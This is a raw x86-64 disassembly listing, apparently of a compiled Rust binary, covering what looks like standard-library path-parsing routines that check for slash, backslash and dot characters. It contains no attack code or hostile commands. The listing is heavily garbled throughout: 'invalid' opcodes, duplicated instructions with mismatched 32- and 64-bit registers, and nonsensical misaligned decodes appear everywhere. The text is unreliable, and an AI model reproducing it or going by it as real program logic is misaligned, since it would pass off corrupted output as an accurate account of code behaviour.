mov rax, qword [rbp - 0x30]
mov qword [rbx + 0x30], rax
mov dword [rbx + 0x30], eax
ror byte [r8 - 0x77], 1
xor byte [r15], cl
xor byte [rdi], cl
mov dword [rbx + 0x30], eax
xor byte [rdi], cl
movups xmm0, xmmword [rbp - 0x60]
adc byte [rbp - 0x60], al
movups xmm1, xmmword [rbp - 0x50]
mov r8b, 0xf
adc byte [rbp - 0x40], dl
movups xmm2, xmmword [rbp - 0x40]
movups xmmword [rbx + 0x20], xmm2
adc dword [rbx + 0x20], edx
and byte [rdi], cl
adc dword [rbx + 0x10], ecx
invalid
movups xmmword [rbx + 0x10], xmm1
adc byte [rdi], cl
adc dword [rbx], eax
invalid
movups xmmword [rbx], xmm0
add ecx, dword [rcx + rcx*4 - 0x1f]
mov rcx, r12
loope case.0x140074731.925
mov rdx, rbx
mov edx, ebx
call fcn.14007ed70
invalid
test al, al
je 0x1400846cd
mov rcx, r13
mov rcx, r13
mov rdx, rdi
cli
call fcn.1400849e0
cmp byte [rbp - 0x28], 0xa
jne 0x140084630
jge 0x140084685
or dh, byte [rbp - 0x80]
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x38]
push rbp
cmp al, ch
and byte [rbx], al
add byte [rax], al
invalid
push rbp
cmp al, ch
and byte [rbx], al
add byte [rax], al
cmp byte [rbp + 0xc0], 0xa
add byte [rax], al
add byte [rdx], cl
je case.0x140083924.97
mov rdi, qword [rbp + 0xb8]
mov edi, dword [rbp + 0xb8]
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
call fcn.140084380
cld
invalid
mov qword [rbp + 0x78], rax
test rax, rax
je case.0x140083924.97
add byte [rax], al
add byte [rax - 0x77], cl
ret
mov rbx, rax
and eax, 3
lea rcx, [0x1400f0b14]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
sbb eax, esp
invalid
add al, 0x81
add rax, rcx
jmp rax
movzx eax, byte [rbx + 0x10]
jmp 0x14008471a
invalid
adc cl, byte [rdi]
movzx eax, byte [rbx + 0xf]
jmp 0x14008471a
mov dh, 0x43
por mm1, qword [rax + rcx*2]
mov rcx, rbx
mov rcx, rbx
invalid
shr rcx, 0x20
call fcn.14007cc10
test bh, bh
invalid
test bh, bh
inc dword [rax + rax*8 - 0x72b7c78c]
invalid
invalid
invalid
test al, al
je case.0x14008387e.88
lea rcx, [rbp + 0xc0]
add byte [rax], al
mov rdx, rdi
mov r8, rsi
call case.0x1400861b2.392
cmp dword [rbp + 0xc0], 2
add byte [rax], al
add byte [rdx], al
push rax
invalid
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add dh, byte [rbp + 0x7c]
jne case.0x14007cc61.805
jne case.0x14007cc61.805
jl 0x140084782
mov rax, qword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
lea rcx, [rbp + 0x40]
lea ecx, [rbp + 0x40]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x40], rax
mov byte [rbp + 0x38], 1
mov byte [rbp + 0x38], 1
cmp byte [r9], r8b
add eax, ebp
invalid
call fcn.14007a090
jmp case.0x140083cda.36
add byte [rax], al
invalid
pop rcx
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
js 0x140084743
lea rcx, [rbp + 0x78]
call fcn.14007a090
pop rcx
invalid
dec dword [rax - 0x77]
stc
xor dword [rcx - 1], ebx
dec dword [rax - 0x77]
stc
pop rcx
invalid
mov rdx, rsi
mov edx, esi
bnd call fcn.140084d30
call fcn.140084d30
test rax, rax
test eax, eax
ror byte [rdi], 0x84
je case.0x140084700.5
stosd dword [rdi], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
shr eax, 0xd5
mov rcx, rax
mov ecx, eax
call fcn.140084450
mov rbx, rax
ret
test rax, rax
test eax, eax
cld
invalid
ret
test eax, eax
sal byte [rbp + 0x61], 0x48
mov ecx, edi
stc
jne case.0x140083cda.36
invalid
mov rcx, rdi
stc
mov rdx, rsi
mov edx, esi
bnd call fcn.140084380
call fcn.140084380
sti
invalid
dec dword [rax - 0x77]
test eax, eax
rol byte [rax], 0
mov qword [rbp + 0xc0], rax
rol byte [rax], 0
add byte [rax - 0x7b], cl
test rax, rax
je case.0x140083924.97
invalid
sal byte [rax + rcx*2 + 0x48], 0x89
mov rbx, rax
mov rbx, rax
mov ebx, eax
ret
mov rcx, rdi
mov rdx, rsi
mov edx, esi
mov edx, esi
bnd call fcn.140084fc0
call fcn.140084fc0
or byte [rax], al
add byte [rax + rax*8 - 0x72b7c78c], al
sal byte [rax + rdi + 0x48], 0x8d
test al, al
sal byte [rax + rdi + 0x48], 0x8d
je case.0x140083cda.36
cmp byte [rax - 0x73], cl
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
invalid
add byte [rax], al
add bl, ch
sub byte [rbx + 0x10085], cl
invalid
test dword [rax], eax
add byte [rcx], al
invalid
add byte [rax], al
jmp case.0x140083cda.35
mov eax, dword [rbp + 0x100]
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rcx + 0x400], ch
test eax, 0x400
add byte [rax + rax], al
add al, 0
add byte [rax], al
add byte [rdi], cl
sete cl
test dword [rbp + 0x104], 0x20000000
add al, 1
add byte [rax], al
add byte [rax], al
add byte [rax], ah
invalid
xchg esp, eax
sal edi, 0x85
add al, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], ah
invalid
add byte [rax], al
add byte [rax], al
and byte [rdi], cl
xchg esp, eax
sete dl
or dl, cl
shr al, 4
call 0x1b4d8cbdc
invalid
ret 0xca08
call 0x1b4d8cbdc
or ecx, dword [rax - 0x73]
invalid
invalid
add al, 0x84
sal byte [rbx + rcx + 0x48], 1
lea rcx, [rbp + 0x78]
lea ecx, [rbp + 0x78]
js case.0x140083924.93
call fcn.14007a090
scasb al, byte [rdi]
pop rax
invalid
push qword [rcx]
fisttp dword [rax - 0x77]
mov rax, rbx
invalid
invalid
xor ebx, ebx
mov rax, rbx
add rsp, 0x1b8
add esp, 0x1b8
add esp, 0x1b8
invalid
mov eax, 0x5b000001
add dword [rax], eax
add byte [rbx + 0x5f], bl
pop rdi
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop rsi
pop r15
pop rdi
pop rbp
ret
mov rax, rbx
fmul dword [rax - 0x3f]
shr rax, 0x20
shr eax, 0x20
call 0x16900cb25
cmp eax, 0x28
sub byte [rdi + 0x20], dh
ja case.default.0x140084815
and byte [rax - 0x73], cl
lea rcx, [0x1400f0b24]
or eax, 0x6c316
ret
invalid
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
or dword [rax + 1], 0x31e0ffc8
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
jmp rax
xor eax, eax
shr cl, 0xfc
jmp 0x14008471a
cld
invalid
invalid
lea rbx, [0x1400e8ae0]
sbb eax, 0x642bb
mov ebx, 0xeb000642
mov ebp, 0xece929b0
mov al, 0x29
invalid
in al, dx
invalid
invalid
jmp case.0x140083cda.36
mov al, 0x29
sub ecx, ebp
jmp 0x14008471a
in al, dx
invalid
invalid
push qword [rax - 0x11a16ff]
mov al, 1
add ecx, ebp
jmp 0x14008471a
in eax, 0xfe
invalid
invalid
mov al, 2
add ch, cl
jmp 0x14008471a
fdivp st(6)
invalid
mov al, 3
add ebp, ecx
jmp 0x14008471a
xlatb
invalid
invalid
mov al, 4
add al, 0xe9
jmp 0x14008471a
sar dh, 1
invalid
invalid
mov al, 5
add eax, 0xfffec9e9
push qword [rax - 0x13d16fa]
mov al, 6
invalid
invalid
invalid
jmp 0x14008471a
leave
invalid
invalid
mov al, 6
jmp 0x14008471a
ret 0xfffe
invalid
invalid
mov al, 7
jmp 0x14008471a
mov ebx, 0xb0fffffe
or cl, ch
invalid
invalid
mov al, 8
jmp 0x14008471a
mov ah, 0xfe
invalid
mov al, 9
or ecx, ebp
jmp 0x14008471a
lodsd eax, dword [rsi]
invalid
invalid
mov al, 0xa
jmp 0x14008471a
cmpsb byte [rsi], byte [rdi]
invalid
invalid
mov al, 0xb
jmp 0x14008471a
lahf
invalid
invalid
mov al, 0xc
jmp 0x14008471a
cwde
invalid
invalid
mov al, 0xd
jmp 0x14008471a
xchg ecx, eax
invalid
invalid
mov al, 0xe
jmp 0x14008471a
mov bh, dh
invalid
mov al, 0xf
psubsw mm0, qword [rbx - 0x4f000002]
adc cl, ch
invalid
jmp 0x14008471a
cmp esi, 0xffffffff
invalid
push qword [rax - 0x18316f0]
mov al, 0x10
jmp 0x14008471a
jl case.0x14007ecb4.323
invalid
mov al, 0x11
jmp 0x14008471a
jne case.0x140083cda.63
invalid
mov al, 0x12
jmp 0x14008471a
outsb dx, byte [rsi]
invalid
invalid
mov al, 0x13
adc ebp, ecx
jmp 0x14008471a
invalid
invalid
mov al, 0x14
jmp 0x14008471a
invalid
invalid
jmp 0x14008471a
pop rcx
invalid
invalid
mov al, 0x16
jmp 0x14008471a
push rdx
invalid
invalid
push qword [rax - 0x1b416e9]
jmp 0x14008471a
invalid
invalid
invalid
sbb cl, ch
invalid
jmp 0x14008471a
invalid
jmp 0x14008471a
invalid
jmp 0x14008471a
invalid
jmp 0x14008471a
invalid
jmp 0x14008471a
invalid
jmp 0x14008471a
invalid
invalid
jmp 0x14008471a
invalid
push qword [rax - 0x1ec16e1]
invalid
invalid
push qword [rax - 0x1fa16df]
invalid
mov al, 0x26
jmp 0x14008471a
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1400a9f20
ud2
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0xc0]
call fcn.14007a090
nop
add rsp, 0x28
pop rbx
pop rdi
add byte [rax - 0x73], cl
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0x78]
call fcn.14007a090
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
retf
mov rdi, rdx
movzx eax, byte [rdx + 0x39]
cmp dword [rbx + rax], edi
cmp dword [rbx + rax], edi
je 0x140084c09
cmp r13b, al
cmp ch, al
ja 0x140084c09
add byte [rax], al
lea r15, [rsp + 0x71]
cmp byte [rdi + 0x3a], 0
jl 0x140084a45
jno 0x1400849a3
jg 0x140084a5f
add byte [rdi], cl
mov dh, 0x6f
adc byte [rdi + rcx - 0x4a], al
in eax, 0x48
movzx ebp, byte [rdi + 0x10]
movzx r12d, bpl
mov rcx, qword [rdi]
mov ecx, dword [rdi]
mov ecx, dword [rdi]
mov qword [rsp + 0x28], rcx
mov rbx, qword [rdi + 8]
je 0x140084ad3
lea r14, [rsp + 0x68]
jmp 0x140084a5f
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rdi + 0x39], 1
cmp dword [r9], r8d
mov al, 1
cmp r13b, al
ja 0x140084c09
stosb byte [rdi], al
add dword [rax], eax
invalid
add dword [rcx + 0x38], eax
invalid
stosb byte [rdi], al
add dword [rax], eax
add byte [rdx + rax], bh
cmp al, 2
jne 0x140084bf8
mov rcx, rdi
call fcn.14007f030
cmp rbx, rax
jbe 0x140084a50
mov rcx, r14
int1
mov rdx, rdi
call fcn.14007f1b0
mov rcx, rbx
movzx eax, byte [rsp + 0x70]
movups xmm0, xmmword [r15]
invalid
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
push rdi
and byte [rdi], cl
sub dword [rsp + 0x30], eax
invalid
push rdi
and byte [rdi], cl
sub dword [rsp + 0x30], eax
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x50], xmm2
push rsp
and al, 0x50
push rsp
and al, 0x50
mov rdx, qword [r15 + 0x2f]
mov qword [rsp + 0x5f], rdx
mov dword [rsp + 0x5f], edx
sub rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
jb 0x140084cef
mov qword [rdi + 8], rcx
cmp al, 0xa
jne 0x140084c51
invalid
add byte [rax - 0x3476b7fe], dh
mov al, 2
mov rbx, rcx
add cl, byte [rax - 0x77]
retf
cmp r13b, al
jbe 0x140084a5f
jmp 0x140084c09
mov r14, rbx
jmp 0x140084aef
add dh, al
mov byte [rdi + 0x39], 1
cmp dword [r9], r8d
mov al, 1
cmp r13b, al
ja 0x140084c09
cmp al, 1
je 0x140084b70
rol byte [rbx - 0x7af0fd08], 0
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
add byte [rcx], al
add byte [rax], al
mov rcx, rdi
call fcn.14007f030
cmp r14, rax
jbe 0x140084ae0
movsd dword [rdi], dword [rsi]
invalid
lea rcx, [rsp + 0x68]
mov rdx, rdi
call fcn.14007f1b0
invalid
dec dword [rcx + rcx*4 - 0xd]
movzx eax, byte [rsp + 0x70]
jo 0x140084b63
movups xmm0, xmmword [rdi]
invalid
jo 0x140084b63
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
push rdi
invalid
push rdi
and byte [rdi], cl
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x50], xmm2
mov rcx, qword [r15 + 0x2f]
mov qword [rsp + 0x5f], rcx
sub rbx, qword [rsp + 0x68]
pop rsp
and al, 0x68
pop rsp
and al, 0x68
jb 0x140084ce9
add byte [rax], al
mov qword [rdi + 8], rbx
cmp al, 0xa
jne 0x140084c51
mov al, 2
mov r14, rbx
mov esi, ebx
add cl, byte [rcx - 0x77]
fsubp st(3)
and dword [rsi + 0x66], 0x841f0f2e
nop word cs:[rax + rax]
mov byte [rdi + 0x39], 0
mov esi, ebx
jmp 0x140084ae6
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov byte [rdi + 0x39], 0
xor eax, eax
cmp r12d, 3
cmp esp, 3
cmp esp, 3
jb 0x140084ae6
invalid
cmp r12d, 5
je 0x140084ae6
invalid
invalid
invalid
cmp r12d, 6
jne case.0x140083d73.93
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp - 0x7b], cl
div byte [rbp + rbp + 0x48]
mov eax, dword [rsp + 0x28]
movzx ecx, byte [rax]
invalid
or byte [rcx - 0x7d], cl
inc byte [rcx]
cmp r14, 1
je case.0x140084166.60
cmp cl, 0x2e
jne case.0x140084166.60
jne case.0x140084166.60
mov rax, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
and al, 0x28
movzx eax, byte [rax + 1]
cmp eax, 0x2f
je 0x140084be5
cmp eax, 0x5c
clc
pop rsp
je 0x140084be5
xor eax, eax
jmp 0x140084ae6
and bh, bh
invalid
invalid
and bh, bh
invalid
invalid
inc dword [rbp + 0x31]
div byte [rcx]
shr cl, 0x16
invalid
jmp 0x140084ae6
xor eax, eax
cmp r14, 1
jne 0x140084ae6
invalid
cmp cl, 0x2e
jne 0x140084ae6
jne 0x140084ae6
sub rbx, 1
sub ebx, 1
add dword [rdi], ecx
invalid
jb 0x140084d13
add byte [rax], al
mov qword [rdi + 8], rbx
mov byte [rsi], 7
jmp 0x140084c0c
invalid
movzx eax, al
rol byte [rbp + 0x402175c0], 0x80
std
invalid
test eax, eax
jne 0x140084c20
cmp bpl, 6
jne 0x140084c37
invalid
mov byte [rdi + 0x39], 3
mov byte [rsi], 0xa
add rsp, 0xa8
invalid
test al, 0
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rdi + 0x39], 0
sub rbx, 1
sub ebx, 1
sub ebx, 1
jb 0x140084d00
rol byte [rax], cl
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
pop rdi
or dh, al
invalid
mov qword [rdi + 8], rbx
mov byte [rsi], 6
jmp 0x140084c0c
invalid
lea rax, [0x1400f0bc8]
movsxd rcx, dword [rax + r12*4]
invalid
add rcx, rax
movabs al, byte [0x478b48e1ffc10148]
and byte [rax - 0x7d], cl
add rax, 4
jmp case.0x140084700.52
jmp rcx
loope 0x140084c90
mov rax, qword [rdi + 0x20]
add rax, 4
jmp case.0x140084700.52
add al, 0xeb
pop rsi
mov byte [rsi], al
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
push rsp
and al, 0x50
movups xmmword [rsi + 1], xmm0
movups xmmword [rsi + 0x11], xmm1
movups xmmword [rsi + 0x21], xmm2
mov rax, qword [rsp + 0x5f]
mov qword [rsi + 0x30], rax
xor bl, r13b
xchg ebx, eax
xor bl, r13b
xchg ebx, eax
mov rax, qword [rdi + 0x20]
mov eax, dword [rdi + 0x20]
and byte [r8 - 0x75], r9b
xor byte [r8 - 0x73], r9b
push rcx
add dword [rax - 0x7b], ecx
leave
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
test rcx, rcx
cmove rdx, rcx
add rax, rdx
add eax, edx
add eax, edx
add rax, 8
ror byte [rax], 0xeb
sbb cl, byte [rax - 0x75]
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
test rcx, rcx
jmp case.0x140084700.52
mov rax, qword [rdi + 0x20]
mov eax, dword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
test rcx, rcx
cmove rdx, rcx
add rax, rdx
add eax, edx
ror byte [rax - 0x7d], 1
invalid
invalid
ror dword [rax + 1], 1
ror byte [rax - 0x7d], 1
rol byte [rdx], 0x48
add cl, byte [rax - 0x7b]
invalid
add cl, byte [rax - 0x7b]
ror byte [rdi], 0x84
invalid
test rax, rax
je case.default.0x140084c45
mov byte [rdi + 0x39], 3
mov rax, qword [rdi + 0x30]
mov qword [rsi + 0x20], rax
mov dword [rsi + 0x20], eax
mov dword [rsi + 0x20], eax
and byte [rdi], r9b
adc byte [rdi + 0x11], al
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rsi + 0x11], xmm1
movups xmmword [rsi + 1], xmm0
mov byte [rsi], bpl
mov rax, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], rbx
jmp 0x140084c0c
mov rcx, rbx
mov rbx, r14
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.1400aa020
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
call fcn.1400aa020
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
invalid
add byte [rax - 0x77], cl
fnstenv [rcx]
shr al, cl
call fcn.1400aa020
call fcn.1400aa020
ud2
sub esp, 0xc8
mov rsi, rdx
mov esi, edx
mov rdi, rcx
lea rcx, [rsp + 0x28]
mov rdx, rdi
mov r8, rsi
call fcn.14007e4f0
dec dword [rdi]
mov dh, 0x54
and al, 0x28
dec dword [rdi]
mov dh, 0x54
and al, 0x28
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x48]
lea r8, [0x1400f0be0]
lea r8, [0x1400f0be0]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
jmp r9
add rcx, 4
jmp 0x140084daf
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
invalid
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
mov ecx, 6
jmp 0x140084daf
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x140084daf
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
jb case.0x1400861b2.388
add rcx, rdi
mov r8, rcx
test rdx, rdx
je 0x140084dd8
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
pop rsp
pop rsp
sete al
or al, cl
jmp 0x140084dda
xor eax, eax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
and al, 0x38
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x80], rcx
mov byte [rsp + 0x8a], al
mov al, byte [rax]
add byte [rax], al
mov word [rsp + 0x88], 0x200
lea rcx, [rsp + 0x90]
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax], al
add cl, byte [rax - 0x73]
mov word [rax + rdx*4], fs
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
lea rdx, [rsp + 0x50]
and al, 0x50
call fcn.1400849e0
mov eax, 0xffffffb
sti
invalid
movzx ecx, byte [rsp + 0x90]
cmp cl, 0xa
stc
or dh, byte [rbp + 4]
mov dh, 0x8c
and al, 0x90
add byte [rax], al
add byte [rax + 0x4750af9], al
stc
or dh, byte [rbp + 4]
stc
or dh, byte [rbp + 4]
xor eax, eax
jmp case.0x1400861b2.386
and byte [rax - 0x3fce053f], al
add cl, 0xfa
xor eax, eax
invalid
rol byte [rax - 0xb88fc07], 0xf
cmp cl, 3
ja 0x140084e37
movzx ecx, cl
mov dh, 0xc9
leave
dec rcx
cmp rcx, 3
add esi, dword [rbx + 0xa]
jae case.0x1400861b2.386
lea rcx, [rsp + 0x50]
and al, 0x50
call fcn.14007ee40
out 0x9f, eax
invalid
call qword [rax - 0x373b7eb8]
add byte [rax], al
nop
add rsp, 0xc8
enter 0, 0
enter 0, 0
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
lea r8, str.library_std_srcpath.rs
lea eax, [0x1400e9128]
invalid
mov rdx, rsi
mov edx, esi
bnd call fcn.1400a9f20
call fcn.1400a9f20
push rax
add al, byte [rax]
add byte [rdi], cl
or ecx, esp
int3
int3
ud2
int3
int3
int3
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0xc0
sub esp, 0xc0
sub esp, 0xc0
rol byte [rax], 0
add byte [rax - 0x73], cl
invalid
invalid
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x39], cl
cmp r14b, r15b
invalid
invalid
mov qword [rbp + 0x38], 0xfffffffffffffffe
invalid
dec dword [rcx + rcx*4 - 0x39]
mov rdi, r8
mov rbx, rdx
mov ebx, edx
mov rsi, rcx
lea rcx, [rbp - 0x60]
invalid
invalid
movabs al, byte [0x17ee8c93145]
xor r9d, r9d
leave
call case.0x1400844bb.397
add byte [rbx + 0x7502a07d], al
mov r14, qword [rbp - 0x58]
mov r14, qword [rbp - 0x58]
cmp dword [rbp - 0x60], 2
jne case.0x14007edf4.337
add dh, byte [rbp + 0x4d]
mov r14, qword [rbp - 0x58]
mov esi, dword [rbp - 0x58]
mov eax, r14d
mov eax, esi
and eax, 3
cmp rax, 2
clc
invalid
add ecx, dword [rax - 0x7d]
clc
add dh, byte [rdx + 0x3d]
jb case.0x14007edf4.337
cmp eax, 2
jne case.0x14007edf4.337
invalid
clc
add dh, byte [rbp + 0x38]
invalid
cmp byte [rcx + rcx*4 - 0x10], cl
mov rax, r14
shr rax, 0x20
shr eax, 0x20
cmp eax, 0x780
add byte [rdi], 0
add byte [rbp + 0x2a], dh
jne case.0x14007edf4.337
jne case.0x14007edf4.337
mov qword [rbp + 0x30], r14
jne case.0x14007ec68.359
xor byte [rax - 0x73], cl
lea rcx, [rbp - 0x18]
mov rdx, rbx
fimul dword [rcx - 0x77]
clc
call 0x189e2d82f
call 0x189e2d82f
fimul dword [rcx - 0x77]
clc
mov eax, edi
mov r9d, 0x200000
add byte [rax], ah
add al, ch
and byte [rax], al
call case.0x1400844bb.397
cmp al, 1
add byte [rax], al
invalid
add dword [rax], eax
add byte [rbx + 0x7502e87d], al
cmp dword [rbp - 0x18], 2
jne 0x140084f3a
invalid
jge 0x140084edf
add dh, byte [rbp + 0x40]
lea rcx, [rbp - 0x10]
lea rcx, [rbp - 0x10]
invalid
invalid
call fcn.14007a090
jmp case.0x140080e18.324
invalid
invalid
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 0x20]
loopne case.0x14007e48a.389
mov qword [rsi + 0x40], rax
mov dword [rsi + 0x40], eax
movups xmm0, xmmword [rbp - 0x60]
movups xmm0, xmmword [rbp - 0x60]
movups xmm0, xmmword [rbp - 0x60]
movabs al, byte [0xc055100fb04d100f]
movups xmm1, xmmword [rbp - 0x50]
adc byte [rbp - 0x50], cl
mov r8b, 0xf
mov al, 0xf
movups xmm2, xmmword [rbp - 0x40]
adc byte [rbp - 0x40], dl
movups xmm3, xmmword [rbp - 0x30]
adc byte [rbp - 0x30], bl
movups xmmword [rsi + 0x30], xmm3
xor byte [rdi], cl
adc dword [rsi + 0x20], edx
push rsi
invalid
movups xmmword [rsi + 0x20], xmm2
and byte [rdi], cl
adc dword [rsi + 0x10], ecx
invalid
invalid
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], r9b
adc byte [rdi], cl
movups xmmword [rsi], xmm0
adc dword [rsi], eax
invalid
add rsp, 0xc0
add esp, 0xc0
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov eax, dword [rbp + 0x28]
sub byte [rbx + 0xa92c4d], cl
add al, 0
invalid
mov ecx, dword [rbp + 0x2c]
test eax, 0x400
add byte [rax + rax], al
add byte [rax], al
add byte [rdi + rdx - 0x77], dh
retf 0xe281
invalid
invalid
je 0x140084f5e
mov edx, ecx
and edx, 0x20000000
loop 0x140084f4c
add byte [rax], al
invalid
loop 0x140084f4c
add byte [rax], al
add byte [rax], ah
invalid
add byte [rax], al
and byte [rbp + rcx + 0x4c], dh
je 0x140084f5e
mov qword [rsi + 8], r14
mov dword [rsi + 8], esi
jbe 0x140084f5d
mov qword [rsi], 2
add al, byte [rax]
add byte [rax], al
jmp 0x140084f2c
invalid
movups xmm0, xmmword [rbp - 0x18]
adc byte [rbp - 0x18], al
call 0x138555f75
call 0x138555f75
movups xmm1, xmmword [rbp - 8]
adc byte [rbp - 8], cl
clc
movups xmm2, xmmword [rbp + 8]
push rbp
or byte [rdi], cl
movups xmm3, xmmword [rbp + 0x18]
movups xmm3, xmmword [rbp + 0x18]
pop rbp
sbb byte [rdi], cl
movups xmmword [rsi + 0x30], xmm3
adc dword [rsi + 0x30], ebx
xor byte [rdi], cl
adc dword [rsi + 0x20], edx
push rsi
invalid
movups xmmword [rsi + 0x20], xmm2
push rsi
and byte [rdi], cl
adc dword [rsi + 0x10], ecx
invalid
invalid
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], r9b
movups xmmword [rsi], xmm0
adc dword [rsi], eax
mov dword [rsi + 0x40], eax
mov dword [rsi + 0x44], ecx
mov dword [rsi + 0x44], ecx
lea rcx, [rbp + 0x30]
lea rcx, [rbp + 0x30]
lea ecx, [rbp + 0x30]
xor al, ch
add al, 0x51
push rcx
call fcn.14007a090
jmp 0x140084f2c
sahf
push rcx
invalid
invalid
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
invalid
push rbp
push r14
push rsi
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
and byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea rcx, [rbp + 0x30]
lea ecx, [rbp + 0x30]
xor r8b, r13b
loope 0x140084ffd
call fcn.14007a090
nop
add rsp, 0x20
invalid
call qword [rax + 0x20c48348]
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop rbp
ret
int3
int3
sub esp, 0x68
push 0x48d08949
mov edx, ecx
mov r8, rdx
mov eax, edx
mov rdx, rcx
retf 0x8d48
lea rcx, [rsp + 0x20]
and al, 0x20
call case.0x1400861b2.392
invalid
cmp dword [rsp + 0x20], 2
jl 0x140084ffb
and byte [rdx], al
add dh, byte [rbp + 0x20]
jne 0x140084ffb
mov rax, qword [rsp + 0x28]
and al, 0x28
sub byte [rax - 0x73], cl
and al, 0x28
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
sub dh, al
and al, 0x20
and al, 0x20
mov byte [rsp + 0x20], 1
and al, 0x20
and byte [rcx], al
add eax, ebp
pushfq
call fcn.14007a090
xor eax, eax
add rsp, 0x68
invalid
invalid
ret
push rax
invalid
ror byte [rax - 0x7d], 0xc4
invalid
push 0x24448bc3
invalid
mov eax, dword [rsp + 0x60]
and al, 0x60
test eax, 0x400
add byte [rax + rax], al
add byte [rdi], cl
sete cl
test dword [rsp + 0x64], 0x20000000
sete cl
test dword [rsp + 0x64], 0x20000000
add byte [rax], al
and byte [rdi], cl
xchg esp, eax
ret 0xca08
sete dl
or dl, cl
and eax, 0x10
loopne 0x140085027
shr eax, 4
and al, dl
add rsp, 0x68
ret
int3
int3
int3
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], edi
invalid
cmp byte [rdx], al
add byte [rax], al
invalid
add al, byte [rax]
add dh, bh
invalid
invalid
mov edi, edx
mov eax, 0
